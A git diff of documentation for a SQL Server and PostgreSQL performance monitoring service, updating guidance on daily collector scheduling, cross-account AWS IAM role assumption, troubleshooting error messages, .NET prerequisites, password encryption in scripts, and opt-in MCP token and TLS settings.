+[#5398]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5398
+[#5402]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5402
+[#5409]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5409
+[#5410]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5410
+[#5414]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5414
+[#5417]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5417
+[#5427]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5427
+[#5432]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5432
+[#5434]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5434
+[#5438]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5438
+[#5439]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5439
+[#5442]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5442
+[#5443]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5443
+[#5446]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5446
+[#5453]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5453
+[#5454]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5454
+[#5456]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5456
+[#5460]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5460
+[#5461]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5461
+[#5462]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5462
+[#5463]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5463
+[#5464]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5464
+[#5465]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5465
+[#5466]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5466
+[#5467]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5467
+[#5468]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5468
+[#5469]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5469
+[#5470]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5470
+[#5472]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5472
+[#5478]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5478
+[#5481]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5481
+[#5482]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5482
+[#5484]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5484
+[#5486]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5486
+[#5488]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5488
+[#5490]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5490
+[#5492]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5492
+[#5497]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5497
+[#5500]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5500
+[#5501]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5501
+[#5502]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5502
+[#5511]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5511
+[#5524]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5524
+[#5527]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5527
+[#5528]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5528
+[#5529]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5529
+[#5530]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5530
+[#5532]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5532
+[#5533]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5533
+[#5534]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5534
+[#5536]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5536
+[#5537]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5537
+[#5538]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5538
+[#5542]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5542
+[#5543]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5543
+[#5544]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5544
+[#5552]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5552
+[#5553]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5553
+[#5554]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5554
+[#5556]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5556
+[#5564]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5564
+[#5566]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5566
+[#5570]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5570
+[#5572]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5572
+[#5573]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5573
+[#5577]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5577
+[#5579]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5579
+[#5580]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5580
+[#5584]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5584
+[#5585]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5585
+[#5588]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5588
+[#5590]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5590
+[#5591]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5591
+[#5593]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5593
+[#5595]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5595
+[#5598]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5598
+[#5599]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5599
+[#5610]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5610
+[#5626]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5626
+[#5627]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5627
+[#5628]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5628
+[#5636]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5636
+[#5637]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5637
diff --git a/docs/how-collection-works.md b/docs/how-collection-works.md
index 4d5cbf10b9..efa7597e69 100644
--- a/docs/how-collection-works.md
+++ b/docs/how-collection-works.md
@@ -101,7 +101,7 @@ Every run is wrapped so that one failure never stops the sweep. It writes exactl
 | `SUCCESS` | Completed, including a legitimate zero rows |
 | `PERMISSIONS` | A grant is missing — the collector is skipped, not broken |
 | `EXTENSION_MISSING` | A PostgreSQL extension the collector declares isn't installed — the message names it; `CREATE EXTENSION` is the remedy, not a grant |
-| `SESSION_MISSING` | An expected Extended Events session isn't there |
+| `SESSION_MISSING` | An expected Extended Events session isn't there. The app creates its sessions at connect and ensures them again at least once an hour, so it creates a missing session and starts a stopped one within the hour, with no restart. The create needs `ALTER ANY EVENT SESSION` |
 | `YIELDED` | Lock timeout on a collector that opted into yielding; excluded from error rates and health bands |
 | `ERROR` | Anything else. Fatal or timeout additionally forces a reconnect and re-probe on the next tick |
 
@@ -138,6 +138,24 @@ Effective cadence and retention resolve per collector per server, **per column**
 
 That table is intentionally seeded empty — an absent row means "use the default," so deleting override rows is a clean reset. Any write to the control plane bumps `config_service.config_version` via a trigger, and the worker polls that one integer each sweep and hot-swaps its live config. There is no schedule knob in `darling.json`.
 
+### When the daily collectors run
+
+A collector that runs once a day or less often (1440 minutes, or a multiple of it) can have a **run time**. The run time is a fixed time of day, such as `02:00`. A heavy collector then runs in a quiet hour instead of whenever the service happened to start.
+
+The run time is optional. It sits in a table of its own (`config.config_collector_run_times`, one row per collector), per server or fleet-wide. A server's own row wins. A run time of `-1` on a server's row means "no fixed time" and stops a fleet-wide time from applying there. A collector that runs more often than once a day cannot have one.
+
+The run time is on the **monitored server's own clock**, not the service's and not UTC. A fleet in several time zones therefore runs each server at its own 02:00. The clock comes from the server's newest `server_properties` row. Until that row exists, the run time reads as UTC. Each day's slot is worked out from that day's local date, so it stays at the same local time across a daylight-saving change.
+
+Each server has its own slot: the run time plus a fixed spread of under 60 minutes, taken from the server id. A fleet-wide run time therefore does not start every server in the same minute, and a server keeps its minute across restarts. A run can start from its slot until 60 minutes after it (the grace). Neither number is a setting. A collector that cannot start inside the grace **skips that day** and waits for the next slot. A missed day is never replayed.
+
+In Darling, every daily collector runs detached from its server's pass. A long daily run therefore does not hold the server's place in the sweep, and the server's one-minute collectors keep their cadence. At most 16 detached daily runs go at once across the fleet, and fewer when the store's connection pool is small. The cap is the smaller of 16 and the pool size minus the sweep width minus 8 kept free for reads. It is never below 1. A run past the cap waits for a free place and is never dropped. It starts when a place under the cap frees, which can be after the grace hour.
+
+Lite runs a daily collector only while it is open, one collector at a time per server. With a run time, it does not catch up for a day it was closed. Without one, an overdue daily collector runs once when Lite reopens.
+
+`get_collection_health` shows each collector's run time (`run_at`) and when it is next due (`next_run_utc`). A full row always carries both, empty for a collector with no run time. In both apps, a partial row (a collector that needs a look) carries them only for a collector that has a run time. A compact row (a healthy collector with nothing to report) does the same. The health bands stay on the collector's shipped cadence, and a run time does not change them.
+
+A skipped day crosses the 36-hour stale line before the next slot. In both apps, the row says so in `run_time_note`. A full row always carries it (empty when no day was skipped). A partial row carries it only for a collector that has a run time. A compact row never carries it. Lite's note also says that Lite collects only while it is open.
+
 ### Retention
 
 Three independent mechanisms:
diff --git a/docs/postgres-first-target-runbook.md b/docs/postgres-first-target-runbook.md
index 02434cfebb..5b0a0230a0 100644
--- a/docs/postgres-first-target-runbook.md
+++ b/docs/postgres-first-target-runbook.md
@@ -158,18 +158,21 @@ exposure is acceptable for this role. The collector reads nothing from the view
 error text; `get_pg_server_config` and `get_pg_logging_audit` say so in the caveat they attach when the
 grants are missing on a Windows target.
 
-### IAM, for the three collectors that read the server log (plan capture, deadlocks, log events)
+### IAM, for the collectors that call AWS (server log, CPU and host memory)
 
 This is a **different axis from the grant above** — it authorizes the **monitoring host's AWS identity**,
 not the PostgreSQL login. On Aurora/RDS there is no local log directory a SQL session can read with
 `pg_read_file()`; plan capture, deadlock detection and the log-event pipeline instead pull the log tail
-through the RDS control plane. Attach this to the instance role/profile the Darling service actually runs as:
+through the RDS control plane. The CPU and host-memory collector also calls AWS, to read Performance Insights.
+Attach this to the instance role/profile the Darling service actually runs as, or, for a server that has its own
+role, to that role (see the next subsection):
 
 ```json
 {
   "Effect": "Allow",
   "Action": [
     "rds:DescribeDBClusters",
+    "rds:DescribeDBInstances",
     "rds:DescribeDBLogFiles",
     "rds:DownloadDBLogFilePortion"
   ],
@@ -180,11 +183,119 @@ through the RDS control plane. Attach this to the instance role/profile the Darl
 }
 ```
 
-`DescribeDBClusters` resolves an Aurora cluster to its current writer instance; the other two list and read
-the log file itself. Self-managed PostgreSQL doesn't need this at all — it reads `pg_read_file()` directly,
+Add a second statement for Performance Insights:
+
+```json
+{
+  "Effect": "Allow",
+  "Action": "pi:GetResourceMetrics",
+  "Resource": "arn:aws:pi:<region>:<account-id>:metrics/rds/*"
+}
+```
+
+`DescribeDBClusters` resolves an Aurora cluster to its current writer instance; the log actions list and
+read the log file itself. `DescribeDBInstances` looks up the instance's `DbiResourceId`, the identifier that
+Performance Insights uses. `pi:GetResourceMetrics` reads the CPU and host-memory series from Performance
+Insights. Darling also uses the two `Describe` actions to check that the server's host is the endpoint AWS
+reports for that instance or cluster, before it reads any logs or Performance Insights data for it; a host
+that does not match, or a server that does not accept a fresh login, is recorded as a PERMISSIONS outcome and nothing is read. Self-managed PostgreSQL doesn't need this at all — it reads `pg_read_file()` directly,
 which is what the log-reader grants above are for. Skipping this on Aurora/RDS is not silent: both
 collectors log the missing action by name (see step 10).
 
+#### The cluster is in a different AWS account
+
+The service asks AWS for the cluster in the account that its credentials belong to. If the cluster is in
+another account, the host's own identity cannot see it, and the calls fail with `is not authorized to perform`.
+Each server can use its own AWS role instead, set on that server alone:
+
+```json
+{
+  "name": "aurora-orders-writer",
+  "engine": "postgres",
+  "host": "orders.cluster-abc123.us-east-1.rds.amazonaws.com",
+  "awsRoleArn": "arn:aws:iam::123456789012:role/darling-monitor",
+  "awsExternalId": "REPLACE with your external ID"
+}
+```
+
+`awsRoleArn` is an IAM role ARN. `awsExternalId` is optional, needs the role, and is 2 to 1224 characters
+(letters, digits and `_ + = , . @ : / -`). Use a random value that cannot be guessed, such as a UUID. The sample value above is a placeholder with spaces in it, which the service refuses as written, so it has to be replaced with your own. The store keeps
+the external ID as plain text, unlike the passwords, which it seals. The web, MCP and the desktop viewer never show it
+back; they show only whether one is set. AWS does not treat the external ID as a secret either: it is not a
+credential, it can be seen by anyone with permission to view the role, and its job is to keep a role from being
+assumed on someone else's behalf (see
+[External IDs for third party access](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_common-scenarios_third-party.html)
+in the AWS IAM User Guide). Both apply to a PostgreSQL target only. Darling assumes the role
+through AWS STS and uses it for every AWS call it makes for that server. Those calls are the Describe calls
+that check the host, instance CPU and host memory (`pg_cpu_utilization`, through RDS and Performance Insights),
+and the log reads behind `pg_plan_capture`, `pg_deadlocks` and `pg_log_events`. A server with no `awsRoleArn` uses the
+process's own AWS credentials, exactly as before. Two servers can name two different roles, and a server's
+role is never used for another server.
+
+To set it up:
+
+1. In `123456789012` (the cluster's account), create the role and attach the policies from the IAM section above.
+   Leave its maximum session duration at one hour or more. Darling asks for one-hour sessions and renews them
+   itself, about 15 minutes before they expire.
+2. Give the role a trust policy that names the AWS identity the Darling service runs as. If you use an external
+   ID, require it with an `sts:ExternalId` condition that matches `awsExternalId`:
+
+   ```json
+   {
+     "Effect": "Allow",
+     "Principal": { "AWS": "arn:aws:iam::<host-account-id>:role/<darling-host-role>" },
+     "Action": "sts:AssumeRole",
+     "Condition": { "StringEquals": { "sts:ExternalId": "REPLACE with your external ID" } }
+   }
+   ```
+
+3. In the host's account, allow the host's identity to call `sts:AssumeRole` on
+   `arn:aws:iam::123456789012:role/darling-monitor`.
+4. Add `awsRoleArn` (and `awsExternalId`) to the server, by one of the paths below.
+
+The session name is `darling-` and the first 12 hex digits of the install id, so the assumed sessions can be
+told apart in CloudTrail. Darling calls STS in the region of the target it is reading.
+
+A role is a server setting like `host`. You can put it in the
+`darling.json` entry (the file seeds the registry once, see step 2), through `add_servers` and `edit_server`
+(`aws_role_arn`, `aws_external_id`), on the web Servers page, in the desktop viewer's Add and Edit server
+dialog, and with `--add-server`. The service runs a role only if it is allowed:
+
+- `allowedAwsRoles` in `darling.json` is a list of role ARNs (matched exactly) and 12-digit account ids (every
+  role in that account). A bare account id is an account in the `aws` partition. For an account in the China or
+  GovCloud partition, write the partition first: `aws-cn:123456789012` or `aws-us-gov:123456789012`:
+
+  ```json
+  "allowedAwsRoles": [ "arn:aws:iam::123456789012:role/darling-monitor", "123456789012" ]
+  ```
+
+- The effective list is that list plus the `awsRoleArn` of every entry in `darling.json`'s own `servers[]`. A role
+  you write in the file is allowed by being there. `allowedAwsRoles` is what lets the web, MCP, the desktop
+  viewer and `--add-server` set a role.
+- With no list, the web and MCP cannot set a role. A role set through them has to be on the list when you save,
+  and the answer says so: `The web and MCP cannot set an AWS role until darling.json lists the roles they may
+  use. Add allowedAwsRoles to darling.json, then restart the service.` (no list) or `That AWS role is not on the
+  list of roles the web and MCP may set. Add it to allowedAwsRoles in darling.json and restart the service.`
+  (a list without that role). `--add-server` runs on the host and is not held to the list when it saves, but the
+  service still runs only a listed role.
+- The list is read when the service starts. Restart the service after you change `allowedAwsRoles`.
+- A role the list does not allow is never assumed, even if a stored row already names it. Remove the role (or
+  list it) to clear the message in step 10.
+
+On the web and in `edit_server`, leaving the role blank (or omitting it) keeps the stored role.
+Sending `null` removes it, and the external ID goes with it. Removing a role is always allowed. Changing the role on a
+server that has an external ID stored needs the external ID in the same request (a new one, or `null`):
+`Changing the AWS role needs the external ID with it: send the external ID again, or clear it.` The web and
+MCP never return the external ID. They show only whether one is set (`aws_external_id_set`). Omitting the external ID keeps
+the stored one. The desktop viewer's dialog is filled with the stored role, so
+emptying that box removes the role. Its external ID box does not show the stored ID: it reads "set, leave blank to
+keep" when one is stored, typing in it replaces the ID, and the "Clear external ID" box removes it. A role-only change takes
+effect at the next sweep, with no restart: the server's connection is rebuilt with the new role.
+
+The service logs and records the role ARN and `ExternalId = set` or `ExternalId = none`. It never writes the
+external ID itself. A diagnostics bundle replaces the role ARN and account id with aliases and removes the
+external ID.
+
 ## 2. Register the target
 
 **Which path you use depends on whether this store has ever been seeded**, and getting this wrong is the
@@ -715,7 +826,14 @@ says which kind it is. A missing extension a collector declares gets its own `EX
 | `EXTENSION_MISSING` | names the extension, "NOT a missing grant" | that extension never created where the collector connects | `CREATE EXTENSION` per the message (step 1's optional half), or leave it uninstalled and accept the gap |
 | `PERMISSIONS` | "NOT a missing grant", not implemented | reading something this engine lacks | nothing — expected off Aurora |
 | `PERMISSIONS` | "NOT a missing grant", feature disabled | switched off in the parameter group | enable it, or accept the gap |
-| `PERMISSIONS` | `is not authorized to perform: rds:Describe...`/`rds:Download...`, names an IAM role ARN | the **monitoring host's IAM role** lacks the AWS-level grant plan capture/deadlocks need on Aurora/RDS | attach the IAM policy in step 1's IAM subsection — a DB-side grant cannot fix this, it's a different identity entirely |
+| `PERMISSIONS` | `is not authorized to perform: rds:Describe...`/`rds:Download...`, names an IAM role ARN | the **monitoring host's IAM role** (or the server's own AWS role, once assumed) lacks the AWS-level grant plan capture/deadlocks need on Aurora/RDS | attach the IAM policy in step 1's IAM subsection to the role the message names. A DB-side grant cannot fix this, because it is a different identity entirely |
+| `PERMISSIONS` | `The AWS role <arn> on this server is not in allowedAwsRoles in darling.json, so it was not used. Nothing was read this cycle. Add the role or its account id to the list and restart the service, or clear the role on this server.` | the server names a role the list does not allow, so Darling never assumed it | list the role ARN or its account id in `allowedAwsRoles` and restart the service, or remove the role from the server |
+| `PERMISSIONS` | `Role <arn> is in AWS partition aws-cn, but this target's region <region> is in partition aws. A role can be assumed only inside its own partition. Nothing was read this cycle. Set a role from the target's partition on this server, or clear the role, or correct the server's host name if it names the wrong region.` | the role and the target's region are in different AWS partitions | set a role from the region's partition on the server, clear the role, or correct the host name if it names the wrong region |
+| `PERMISSIONS` | `AWS refused to let the monitoring host assume role <arn> (with the external ID set on this server). Nothing was read this cycle. One of these is wrong: the role does not exist, its trust policy does not trust the host's AWS identity, the external ID does not match the trust policy's sts:ExternalId condition, or the host's identity has no sts:AssumeRole permission on the role. AWS gives the same answer for all four.`, or the same with `(without an external ID)` | STS denied the assume-role call | check the four named things in step 1's cross-account subsection. The message never shows the external ID, only whether one is set |
+| `PERMISSIONS` | `AWS STS is not active in region <region> for the monitoring host's AWS account, so role <arn> could not be assumed. Nothing was read this cycle. Enable that region for the AWS account that owns the role and for the monitoring host's account (AWS account settings, Regions), or set a role in a region that is enabled, or correct the server's host name if it names the wrong region.` | STS is switched off for that region in the host's account or the role's account | enable the region for both accounts (AWS account settings, Regions), set a role in an enabled region, or correct the host name |
+| `ERROR` | `AWS rejected the monitoring host's own credentials while it assumed role <arn>`, then ` (<AWS error code>)` when AWS gave one, then `. The credentials the service runs with are expired or wrong, or the host's clock is off. Nothing was read this cycle. Fix the host's credentials or clock; a new attempt is made within a minute.` | the host's own credentials, not the role, are the problem | fix the host's credentials or clock |
+| `ERROR` | `The monitoring host has no AWS credentials to assume role <arn> with. Nothing was read this cycle. Give the service an AWS identity to sign in with (an instance profile, a container task role, environment variables or a shared credentials profile it can read), then restart the service.`, then `(SDK exception <type>, AWS error code <code>)` when the SDK gave them | the host has no AWS identity to assume the role from | give the service an AWS identity (step 1's IAM subsection). The message holds the SDK exception type and AWS error code only; the SDK's own text is in the service log |
+| `ERROR` | `Assuming role <arn>: AWS STS could not be reached or answered with an error. Nothing was read this cycle. A new attempt is made within a minute.`, then `(SDK exception <type>, AWS error code <code>)` when the SDK gave them; or `Assuming role <arn>: AWS STS did not answer within <n> seconds.` | STS, or the host's credential lookup, did not answer in time, or STS answered with a fault | a new attempt is made within a minute. The SDK's own text is in the service log |
 | `ERROR` | a statement timeout | the query was too slow **once** | usually transient; deliberately does *not* drop the connection, so a slow query cannot cause a reconnect storm |
 | `ERROR` | anything else | unclassified | read `error_message`; this is the bucket that wants a bug report |
 | `YIELDED` | lock contention | the collector stepped aside | none today — no PostgreSQL collector opts into the lock-timeout yield |
@@ -784,5 +902,8 @@ What genuinely remains, re-checked against `dev` at the time of this revision:
 - **The `pg_stats` helper-function route.** Step 8 documents `pg_read_all_data` and the
   `SECURITY DEFINER` alternative; only the grant is implemented. A fleet that will not widen the role
   gets measured sizes and suppressed estimates, exactly as step 8 describes.
+- **What a per-server AWS role covers, and what it does not.** `awsRoleArn` changes which AWS identity makes the
+  RDS and Performance Insights calls for that server (step 1's cross-account subsection). It does not change the
+  database login, which stays the SQL login from step 2, and it does not apply to SQL Server targets.
 - **Charts on the PostgreSQL tabs.** Both UIs render tables over the window — no correlated timeline,
   and no drill-down from a blocking root to the sessions behind it.
diff --git a/docs/uat-onboarding.md b/docs/uat-onboarding.md
index 64251ce84d..396ac30ff0 100644
--- a/docs/uat-onboarding.md
+++ b/docs/uat-onboarding.md
@@ -70,15 +70,18 @@ will not override it. When the two disagree the service says so, once per start,
   lifetime are all Windows-only. (There is a Linux path — see
   [Run on Linux](../Darling/README.md#run-on-linux-docker-compose-or-systemd-1804) — but it is not this
   procedure, and the WPF viewer is Windows either way.)
-- **Two .NET 10 runtimes**, from <https://dotnet.microsoft.com/download/dotnet/10.0>:
-  - **ASP.NET Core Runtime 10.0** — the service needs it whether or not you ever enable MCP or the web
-    dashboard, because the host framework is referenced unconditionally.
+- **.NET 10 runtimes**, from <https://dotnet.microsoft.com/download/dotnet/10.0>:
+  - **.NET Runtime 10.0 and ASP.NET Core Runtime 10.0** — the service needs both. The **ASP.NET Core
+    Hosting Bundle 10.0** installs the two together; the standalone ASP.NET Core Runtime installer does
+    **not** include the base .NET Runtime, so with that installer alone you also need the .NET Runtime
+    10.0. The service needs ASP.NET Core whether or not you ever enable MCP or the web dashboard, because
+    the host framework is referenced unconditionally.
   - **.NET Desktop Runtime 10.0** — the WPF viewer.
 
-  A stock Windows Server image has neither. `install-darling.ps1` now checks: it **refuses** the install if
-  the ASP.NET Core Runtime is missing, and **warns** if the .NET Desktop Runtime is. The asymmetry is
-  deliberate — without ASP.NET Core the service cannot start at all, whereas without the Desktop Runtime the
-  service runs fine and only the viewer will not open. Install both first anyway and skip the round trip.
+  A stock Windows Server image has none of them. `install-darling.ps1` now checks: it **refuses** the install
+  if the .NET Runtime or the ASP.NET Core Runtime is missing, and **warns** if the .NET Desktop Runtime is.
+  The asymmetry is deliberate — without those two the service cannot start at all, whereas without the Desktop Runtime the
+  service runs fine and only the viewer will not open. Install them all first anyway and skip the round trip.
 - **A monitored SQL Server** (2016 SP2–2025 with 2017 at CU3 or later, Azure SQL MI, AWS RDS, or Azure SQL DB) and a login on it with
   `VIEW SERVER STATE` and the rest of the [monitoring grants](../Darling/README.md#permissions-on-monitored-servers).
 - **Nothing else.** In the shipped default (`postgres.managed = true`) the service runs its own bundled
@@ -159,18 +162,21 @@ cd "C:\Program Files\PerformanceMonitorDarling"
 It prints `Password: ` and waits. Type the password, press Enter, and it prints one line of base64 (it starts
 `AQAAA`) — paste that into `"encryptedPassword"`.
 
-> **`--encrypt-password` writes its prompt and its confirmation to stderr; only the blob goes to stdout.**
-> That is deliberate (`… --encrypt-password > blob.txt` captures exactly the blob and nothing else) but it is
-> fatal under `$ErrorActionPreference = 'Stop'`: PowerShell treats the stderr write as a terminating error,
-> and then echoes the offending source line — which, if you piped the password in, leaks it into your
-> scrollback. In a script, do this instead:
+> **`--encrypt-password` is quiet when a script drives it.** The `Password: ` prompt goes to stderr only when
+> stdin is a console, and the "Paste the line above" hint goes to stderr only when stdout is a console. With the
+> password piped in and the output captured, a successful run writes nothing to stderr and one line of base64 to
+> stdout, so it works under `$ErrorActionPreference = 'Stop'` with no workaround:
 >
 > ```powershell
-> $ErrorActionPreference = 'Continue'
+> $ErrorActionPreference = 'Stop'
 > $blob = Read-Host -Prompt 'password' |
->     & "C:\Program Files\PerformanceMonitorDarling\PerformanceMonitor.Darling.Service.exe" --encrypt-password 2>$null |
->     Select-String -Pattern '^AQAAA' | ForEach-Object { $_.Line }
+>     & "C:\Program Files\PerformanceMonitorDarling\PerformanceMonitor.Darling.Service.exe" --encrypt-password
 > ```
+>
+> A failure still writes its error line to stderr and exits 1, and the guidance for a console that gave it no
+> input goes to stdout. (Older builds wrote the prompt and the hint to stderr unconditionally, which stopped a
+> `'Stop'` script and echoed the piped-in password in the error text; on one of those, wrap the call with
+> `$ErrorActionPreference = 'Continue'` and add `2>$null`.)
 
 The blob is DPAPI at **LocalMachine** scope with a fixed entropy string, so it decrypts **only on the machine
 that produced it**. Run `--encrypt-password` on the service host, and re-run it if you ever move `darling.json`
@@ -438,7 +444,7 @@ credential already exist, provisioned on every service start:
 
 ### 3.1 Why it is off
 
-On loopback the browser surface has no token, and TLS is opt-in rather than on. Shipping it on by default
+On loopback the browser surface has no token unless you configure one (`web.network.token` / `encryptedToken`), and TLS is opt-in rather than on. Shipping it on by default
 would mean every install serves its monitoring data to anything that can open a socket on the box. So it is
 off, and turning it on is one command.
 
@@ -642,8 +648,8 @@ running 0.4 executions a second used to report zero and read as idle.
 
 **Desktop things a web imitation would be worse than.** No graphical plan viewer, no interactive query
 heatmap **plot** (the underlying read ships as a bucketed table on the Queries tab — same answer, no canvas),
-no block-chain reconstruction and no interactive deadlock graph — the Blocking tab hands you the captured
-blocked-process-report and deadlock-graph XML verbatim instead of pretending. No period-compare grids. The
+no block-chain reconstruction — the Blocking tab hands you the captured blocked-process-report XML
+(and the deadlock-graph XML, beside a drawn graph you can click) verbatim instead of pretending. No period-compare grids. The
 per-query drill-down above charts the same history the viewer's window does, but it is not that **window**:
 no stored-plan download or cached-plan fetch from it, and none of the desktop grids' own affordances —
 per-column filter popups, CSV export, Copy Repro Script, and right-click drill-down into a ±30-minute
@@ -769,8 +775,9 @@ and:
 Get-NetTCPConnection -State Listen | Where-Object LocalPort -eq 5152
 ```
 
-Then register it. **On loopback there is no token** — the bearer requirement only applies once you expose the
-endpoint on the LAN:
+Then register it. **On loopback there is no token unless you configure one** — the bearer requirement applies once you
+expose the endpoint on the LAN, or set `mcp.network.token` / `encryptedToken` (then local clients send
+`Authorization: Bearer <token>` too):
 
 ```powershell
 claude mcp add --transport http --scope user sql-monitor-darling http://localhost:5152/
@@ -831,9 +838,11 @@ Two gates apply, in this order: the **bearer token**, checked constant-time with
 then the **in-app CIDR check** on the remote address (loopback always allowed). A remote client with a bad or
 missing token gets **401**; one from outside `allowFrom` is refused before any response.
 
-**There is no TLS on MCP** — a self-signed certificate breaks real MCP clients, so the bearer token travels in
-clear on the segment. The MITM control is a TLS-terminating reverse proxy in front of the port. **Never expose
-this to the internet.**
+**TLS on MCP is opt-in, and without it the bearer token travels in clear on the segment.** Point
+`mcp.network.tls` at a PKCS#12 bundle or a PEM pair (`Darling/README.md` has the shape) and the LAN listener
+serves HTTPS only, or put a TLS-terminating reverse proxy in front of the port. Set `mcp.network.hostName` when
+clients connect by a DNS name. A missing, unreadable or expired certificate keeps MCP loopback-only rather than
+falling back to cleartext. **Never expose this to the internet.**
 
 ### 4.4 When it says enabled and still will not connect
 
@@ -865,12 +874,12 @@ folded line then says how many further refusals it stands for — so a scanner h
 the log, and you still see that it happened. If the budget for distinct sources fills, the line says it is
 speaking for several, which is itself the signal that the port is being scanned.
 
-If the block itself is bad the service *is* loud, and it fails closed to loopback rather than half-exposing:
+If the block itself is bad the service *is* loud, and it fails closed rather than half-exposing: a missing token or a bad CIDR list falls back to loopback-only, and a token that is set but cannot be used stops that listener from starting:
 
 ```
 MCP network exposure requested (mcp.network.listen is non-loopback) but no bearer token is set — refusing to expose; binding loopback-only. Set mcp.network.encryptedToken (via --encrypt-password) or mcp.network.token.
-MCP network token could not be decrypted (...) — refusing to expose; binding loopback-only.
-MCP network exposure requested but mcp.network.allowFrom '...' is not a valid CIDR or its address family does not match mcp.network.listen — refusing to expose; binding loopback-only.
+MCP network token could not be decrypted (...); MCP server not started.
+MCP network exposure requested but mcp.network.allowFrom '...' is not a valid CIDR list or an entry's address family does not match mcp.network.listen — refusing to expose; binding loopback-only. Use one CIDR (e.g. 192.168.1.0/24) or several, separated by commas (e.g. 10.8.0.0/16,192.168.1.5/32): every entry in CIDR form (/32 for one address), with each IPv4 address written as four plain decimal numbers (no leading zeros) and no IPv6 zone index, and of the same family as listen (a :: listen takes IPv6 entries only). Host bits are masked (192.168.1.5/24 means 192.168.1.0/24).
 mcp.network.* is set but postgres.managed = false — MCP network exposure is managed-mode (or container) only and is ignored ...
 ```
 
@@ -886,9 +895,9 @@ Every one of these has cost somebody real time.
    documentation. Edit it as text. ([Part 0](#darlingjson-is-jsonc-not-json))
 2. **First start takes about two minutes** and looks like a hang. It is unpacking PostgreSQL and running
    `initdb`. Do not kill it. ([1.7](#17-wait-about-two-minutes))
-3. **`--encrypt-password` prompts on stderr**, which is a terminating error under
+3. **Older builds of `--encrypt-password` prompt on stderr**, which is a terminating error under
    `$ErrorActionPreference = 'Stop'` — and PowerShell then echoes the source line, leaking a piped-in password.
-   ([1.4](#14-write-darlingjson))
+   Current builds stay quiet when stdin or stdout is redirected. ([1.4](#14-write-darlingjson))
 4. **Every DPAPI blob is LocalMachine-scoped** — SQL passwords, the MCP token, the web token. They decrypt only
